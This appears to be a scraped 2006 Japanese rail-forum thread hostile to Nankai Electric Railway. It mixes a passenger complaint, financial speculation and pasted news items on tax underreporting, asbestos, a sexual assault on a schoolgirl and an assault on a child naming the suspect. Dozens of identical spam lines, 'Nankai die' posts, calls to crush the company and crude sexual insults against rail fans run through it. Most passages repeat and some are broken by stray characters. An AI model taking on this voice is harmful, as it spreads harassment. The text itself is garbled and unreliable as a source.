真相は知らんが、運転中に乗客に恐怖を感じさせるようなこういう非常識なことは慎んでもらいたい。
これは事実である。運転室右側の扉（つまり運転台から離れたほうの、ホームに出入りするときに開閉する扉）を全開で
走っているのを見ていた客は他にも確実にいるので、聞き取りすればわかるだろう。
関西空港行の急行での出来事。車番は先頭車両の9512。時刻は午前10時55分頃だったか。
羽衣駅を出発後ふと運転席に目をやると、運転士が運転室の右側の扉を全開の状態で走行していた。
万が一運転士がラリってたりしていて、たとえば嫌いな同僚が運転する対向列車が来たときに、
運転中の列車を捨てて飛び込むつもりなどでもしていたら大惨事になりかねないと恐怖を感じたので
途中泉大津駅で慌ててこの列車から降りた。
とりあえず何もなかったようだが、実際は暑くて全開にしていたのか、ふざけてやっていたのか、その
真相は知らんが、運転中に乗客に恐怖を感じさせるようなこういう非常識なことは慎んでもらいたい。
これは事実である。運転室右側の扉（つまり運転台から離れたほうの、ホームに出入りするときに開閉する扉）を全開で
走っているのを見ていた客は他にも確実にいるので、聞き取りすればわかるだろう。
モラルの問題乗客に不安を与えるような運転は日本では絶対に許されない
電車の運転中にウテシが無線で話すのも車内放送で話すのも携帯電話で話すのも行為自体に変わりはないが、
携帯電話で話をしているといたずらに乗客の不安を煽る
高卒ウテシはサービス業に従事しているということを自覚していないかもしれないが、鉄道も立派なサービス業で、
鉄道の場合は乗客に最低限のサービスではなく最高のサービスを提供しなければならない
海外の鉄道であれば、ウテシが運転室のドアを開放して、客とおしゃべりしながら運転する光景も珍しくなく、
最低限のサービスなり責務（前に進み、乗客を運ぶだけ）を果たしていれば務まるが、日本の過剰サービスの
サービス業の基準では、運転中のタバコや携帯電話の持ち込みですら、乗客に提供する最高レベルの安全を脅かす
行為として、厳しく取り締まられる
日本のサービス業の行き着いた先はこんなところであり、ウテシはロボットのように黙々と集中して乗客に最大の
安心と安全を提供する運転しなければ、批判や処分は免れ得ない
電車の運転中にウテシが無線で話すのも車内放送で話すのも携帯電話で話すのも行為自体に変わりはないが、
携帯電話で話をしているといたずらに乗客の不安を煽る
高卒ウテシはサービス業に従事しているということを自覚していないかもしれないが、鉄道も立派なサービス業で、
鉄道の場合は乗客に最低限のサービスではなく最高のサービスを提供しなければならない
海外の鉄道であれば、ウテシが運転室のドアを開放して、客とおしゃべりしながら運転する光景も珍しくなく、
最低限のサービスなり責務（前に進み、乗客を運ぶだけ）を果たしていれば務まるが、日本の過剰サービスの
サービス業の基準では、運転中のタバコや携帯電話の持ち込みですら、乗客に提供する最高レベルの安全を脅かす
行為として、厳しく取り締まられる
日本のサービス業の行き着いた先はこんなところであり、ウテシはロボットのように黙々と集中して乗客に最大の
安心と安全を提供する運転しなければ、批判や処分は免れ得ない
今年度は新車の導入を先送りして安全投資を先行か？
財政的に非常に苦しいから一気に投資するのは困難ですかね。
南海は主要私鉄１６社中、路線長は８位で売上げ高は１６位と以前から採算効率も悪いですしね。
０８年３月期に連結計上利益を１３０億円を目標に掲げているが１００億円にも届いていないし。
その数値目標はもう一段と儲かる事業に傾斜させないと難しい模様。
現在４割の列道事業を京阪並の３割台まで縮小させるのではないかな。
鉄道会社が本業から逸れていくのは時代の流れだからね。
関西大手私鉄で未だに東証に上場できていないのは南海だけだし。
財政的に非常に苦しいから一気に投資するのは困難ですかね。
南海は主要私鉄１６社中、路線長は８位で売上げ高は１６位と以前から採算効率も悪いですしね。
０８年３月期に連結計上利益を１３０億円を目標に掲げているが１００億円にも届いていないし。
その数値目標はもう一段と儲かる事業に傾斜させないと難しい模様。
現在４割の列道事業を京阪並の３割台まで縮小させるのではないかな。
鉄道会社が本業から逸れていくのは時代の流れだからね。
関西大手私鉄で未だに東証に上場できていないのは南海だけだし。
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
大手私鉄で未だに東証に上場できない赤字南海！大手私鉄で未だに東証に上場できない赤字南海
265 ：ここで引き合いに出すのは阪急だけで我慢：2006/06/04(日) 23:22:09 ID:f4nbi+kk0
そう考えたら阪急のようにしっかり鉄道事業に取り組んでいる会社は好感を持てるもの。
割安な運賃に対して高品位なサービスを提供しているから評価が高いのも当然です。
阪急は車両の整備も保線も行き届いて乗り心地も抜群。
鉄道で儲けず関連事業の利益につながるようにする考えがあるから一概には言えません。
では南海は？南海の会社都合を優先した交通事業じゃないですか。
なりふり構わず減便や減車だったりしちゃってます。終電の繰り下げだって組合を説得できないままですよ。
南海は本業を疎かにしているから弱い訳です。納得できますよね。
割安な運賃に対して高品位なサービスを提供しているから評価が高いのも当然です。
阪急は車両の整備も保線も行き届いて乗り心地も抜群。
鉄道で儲けず関連事業の利益につながるようにする考えがあるから一概には言えません。
では南海は？南海の会社都合を優先した交通事業じゃないですか。
なりふり構わず減便や減車だったりしちゃってます。終電の繰り下げだって組合を説得できないままですよ。
南海は本業を疎かにしているから弱い訳です。納得できますよね。
大手１６社中、路線長が中位の８位で、売上高が最下位の１６位だから仕方ないな。
貧弱な経営基盤で売上げも落ちていると満身創痍の状態で、
近鉄あたりに合流しないと単独で生き残りを目指すのはきつそう。
阪急の「一見都会風」はまさに関東の風土にぴったりするわな。というより今のサラリーマン都会文化の
原型を作り上げた一員は阪急じゃないのか?
ただ電車も少なくとも南海よりはキレイで乗り心地はいい。サービス、スピードが大分低下してるのが惜
しいが堅気の衆にはイメージだけでもまだまだ得点が高い。沿線条件の違いなんて誰も考えないし。
貧弱な経営基盤で売上げも落ちていると満身創痍の状態で、
近鉄あたりに合流しないと単独で生き残りを目指すのはきつそう。
阪急の「一見都会風」はまさに関東の風土にぴったりするわな。というより今のサラリーマン都会文化の
原型を作り上げた一員は阪急じゃないのか?
ただ電車も少なくとも南海よりはキレイで乗り心地はいい。サービス、スピードが大分低下してるのが惜
しいが堅気の衆にはイメージだけでもまだまだ得点が高い。沿線条件の違いなんて誰も考えないし。
最近、また阪急比較厨が多いな。ただ、南海を関西の天下の阪急と比較するなんぞ、阪急にあまりに失礼だということだけ言っておこう。
昔はすさまじく飛ばしてたけどなあ･･･。阪急・京阪・阪神あたりと違ってリミッターないし。
南海は大手私鉄の恥であり和歌山の恥南海死ねって言ってんだろ!!基地外が!!
ボロ南海あぼーん
南海って延伸する希望まったくないよな
本線だって北へ伸ばす金なんて無さそうだし、南に伸ばせば海にぶち当たる(海岸沿いは紀勢線と競合しまくり)
高野線は言うまでも無く、もう南に伸ばさなくていいだろ・・・
逮捕された村上にも全く相手にされなかった南海・・・・・・・・・・ｏｒｚ
本線だって北へ伸ばす金なんて無さそうだし、南に伸ばせば海にぶち当たる(海岸沿いは紀勢線と競合しまくり)
高野線は言うまでも無く、もう南に伸ばさなくていいだろ・・・
逮捕された村上にも全く相手にされなかった南海・・・・・・・・・・ｏｒｚ
ダイヤモンドの倒産危機ランキングで、いつも倒産危機度私鉄トップを争ってる南海電鉄w
497 ：名無し野電車区 ：2006/06/05(月) 21:35:06 (p)ID:F3VDaD/C(2)
近鉄、京阪がコメント、南海も 村上氏会見内容で
ttp://www.asahi.com/kansai/news/OSK200606050066.html
村上ファンドの村上世彰代表が５日の会見で「近畿日本鉄道や京阪電気鉄道にも提携を
呼びかけた」と語ったことについて、近鉄は否定コメントを発表、京阪は提携の話自体は
改めて認めつつ「踏み込んだレベルではなかった」と強調した。
近鉄は「提携の話は全くなかった」（秘書広報部）とした上で、山口昌紀社長が阪急・阪神の
統合について「鉄道利用者、地域住民にとって安心できる着地点。鉄道ネットワークのさらなる
整備を通じ、関西の発展にともに貢献していきたい」と語った。
京阪は「阪神とは以前、業務提携の話はしたが、踏み込んだレベルではなかった」（広報）。
佐藤茂雄社長は「鉄道利用者の移動が活発になるような鉄道事業の統合効果を早く打ち出し、
関西の活性化につなげてほしい」と述べた。
阪神との提携・統合が唯一取りざたされなかった南海電気鉄道は、山中諄（まこと）社長が
「（阪神の統合相手が）違う業種の会社だと心配な点も多いが、阪急は安全第一という企業文化を
培ってきた同じ鉄道事業者。統合は喜ばしい」と歓迎した。
近鉄＝嘘つき京阪＝まあまあ正直南海＝m9（^Д^）ﾌﾟｷﾞｬー
近鉄、京阪がコメント、南海も 村上氏会見内容で
ttp://www.asahi.com/kansai/news/OSK200606050066.html
村上ファンドの村上世彰代表が５日の会見で「近畿日本鉄道や京阪電気鉄道にも提携を
呼びかけた」と語ったことについて、近鉄は否定コメントを発表、京阪は提携の話自体は
改めて認めつつ「踏み込んだレベルではなかった」と強調した。
近鉄は「提携の話は全くなかった」（秘書広報部）とした上で、山口昌紀社長が阪急・阪神の
統合について「鉄道利用者、地域住民にとって安心できる着地点。鉄道ネットワークのさらなる
整備を通じ、関西の発展にともに貢献していきたい」と語った。
京阪は「阪神とは以前、業務提携の話はしたが、踏み込んだレベルではなかった」（広報）。
佐藤茂雄社長は「鉄道利用者の移動が活発になるような鉄道事業の統合効果を早く打ち出し、
関西の活性化につなげてほしい」と述べた。
阪神との提携・統合が唯一取りざたされなかった南海電気鉄道は、山中諄（まこと）社長が
「（阪神の統合相手が）違う業種の会社だと心配な点も多いが、阪急は安全第一という企業文化を
培ってきた同じ鉄道事業者。統合は喜ばしい」と歓迎した。
近鉄＝嘘つき京阪＝まあまあ正直南海＝m9（^Д^）ﾌﾟｷﾞｬー
村上氏に存在すら気づいてもらえなかった情けない南海w
運転ミス・案内ミス・その他報告ｽﾚ＠南海電鉄編
http://hobby7.2ch.net/test/read.cgi/rail/1149516106/
http://hobby7.2ch.net/test/read.cgi/rail/1149516106/
南海氏ね
南海が今日もって廃止されることになった。
ダメな奴は何をやってもダメきしょい南海ヲタは何をやってもきしょい
279 ：名無し野電車区：2006/06/06(火) 00:54:30 ID:PotpUhgh0
南海ヲタの基準を教えてくれ、
俺も場合によっては南海ヲタかもしれんから
俺も場合によっては南海ヲタかもしれんから
マジレスしてやればじゃあ客を集められる施設を難波にもってくればいいじゃん。
丸井も期待していいんじゃないか？
あと新歌舞伎座跡あたりに伊勢丹でも出来たら大難波帝国時代の到来
丸井も期待していいんじゃないか？
あと新歌舞伎座跡あたりに伊勢丹でも出来たら大難波帝国時代の到来
現在の南海の経営状況があまりにもひどすぎるので、せめて現実逃避しようと
旧塗装をストーカーしてシコシコとオナニーする、情けない南海ヲタ
いや、マジで経営がヤバいと村上氏に判断されただけ
旧塗装をストーカーしてシコシコとオナニーする、情けない南海ヲタ
いや、マジで経営がヤバいと村上氏に判断されただけ
現在の南海の経営状況があまりにもひどすぎるので、せめて現実逃避しようと
1003Fをストーカーしてシコシコとオナニーする、情けない南海ヲタ南海はぼろい
南海ｵﾜﾀ＼(＾o＾)/ 南海は異常時の復旧で今でも隔時法を使ってますよね？
もしそうなら全国的にも珍しいですよね。速度は１５キロ制限なので特に安全には問題ないから存続でしょうか。
むしろ朝ラッシュ時には一見危険に見える信号扱いはいかがなものでしょう。
国鉄の方が規制が厳しいのですね。悪天候時に阪和線が運休でも南海は定刻で運行していますね。
システムの裏を突いたようなあのやり方では全く安全とは言えませんよね。
列車同士の衝突はしばらくないのですが安心と言いきれない気がします。
1003Fをストーカーしてシコシコとオナニーする、情けない南海ヲタ南海はぼろい
南海ｵﾜﾀ＼(＾o＾)/ 南海は異常時の復旧で今でも隔時法を使ってますよね？
もしそうなら全国的にも珍しいですよね。速度は１５キロ制限なので特に安全には問題ないから存続でしょうか。
むしろ朝ラッシュ時には一見危険に見える信号扱いはいかがなものでしょう。
国鉄の方が規制が厳しいのですね。悪天候時に阪和線が運休でも南海は定刻で運行していますね。
システムの裏を突いたようなあのやり方では全く安全とは言えませんよね。
列車同士の衝突はしばらくないのですが安心と言いきれない気がします。
南海はぼろ
赤字南海キャンディーズ南海はノータリン
おらあああ！！モギャ！∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝―
―＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪神つ三≡＝―
―＝≡三ヽ阪急￣￣⌒)＞д(;;;((⌒￣￣￣＿ ）三≡＝――＝≡三//￣￣´"'''
⊂;;；#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／
（_ ,､｀^)^) ＼＼＼（_＿）三≡＝―↑赤字南海
―＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪神つ三≡＝―
―＝≡三ヽ阪急￣￣⌒)＞д(;;;((⌒￣￣￣＿ ）三≡＝――＝≡三//￣￣´"'''
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（_ ,､｀^)^) ＼＼＼（_＿）三≡＝―↑赤字南海
南海は薄暗い・陰気。南海早く死なねーかなあ
赤字南海に一撃必殺の鉄拳でもくらわせてやるわ！！
頑張って、みんなで赤字南海を潰しましょう南海利用者は負け組
赤字南海に一撃必殺の鉄拳でもくらわせてやるわ！！
頑張って、みんなで赤字南海を潰しましょう南海利用者は負け組
287 ：名無し野電車区：2006/06/09(金) 00:15:03 ID:loG9py5U0
>>285
めちゃめちゃになってますよ。
めちゃめちゃになってますよ。
◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇
南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の
申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した
約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。
関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。
しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして
重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、
経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。
ttp://news.goo.ne.jp/news/topics/index/02122/1.html南海電鉄 アスベストむき出し
アスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられた
アスベストがむき出しになっているのに、飛び散るおそれはないとして撤去や密閉などの新たな措置を考えていないことがわかりました。
ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html南海電鉄、堺に１４８メートルのマンション計画 仁徳陵を一望、
住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の
仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、
地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。
建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。
南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の
申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した
約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。
関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。
しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして
重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、
経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。
ttp://news.goo.ne.jp/news/topics/index/02122/1.html南海電鉄 アスベストむき出し
アスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられた
アスベストがむき出しになっているのに、飛び散るおそれはないとして撤去や密閉などの新たな措置を考えていないことがわかりました。
ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html南海電鉄、堺に１４８メートルのマンション計画 仁徳陵を一望、
住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の
仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、
地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。
建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。
289 ：名無しでGO!：2006/06/09(金) 00:47:17 ID:CvFbBub5O
糞スレ対策
南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、
平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、
仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。
同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、
周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。
地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ
世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で
高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。
住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、
低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。
堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm
４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕------------------------------------------------------------
--------------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、
府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、
１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、
女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は
平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、
仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。
同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、
周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。
地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ
世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で
高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。
住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、
低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。
堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm
４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕------------------------------------------------------------
--------------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、
府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、
１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、
女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は
１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、
２５分にわたって体を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は
女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、
トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、
当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。
ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆
27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった
同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、
男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。
男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。
ソース：朝日新聞２月28日付朝刊35頁社会面◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、
大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった
同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。
男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。
調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、
藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面
２５分にわたって体を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は
女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、
トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、
当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。
ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆
27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった
同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、
男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。
男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。
ソース：朝日新聞２月28日付朝刊35頁社会面◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、
大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった
同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。
男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。
調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、
藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面
南海電鉄で囁かれる｢最悪のシナリオ｣ܷܵܶܵܶ怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復は
その兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。
各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況は
かなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、
その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況が
いかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、
前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。
さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、
少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、ܷܵܶܵܶ
大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ
前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として
約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、
難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）
その兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。
各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況は
かなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、
その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況が
いかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、
前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。
さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、
少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、ܷܵܶܵܶ
大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ
前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として
約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、
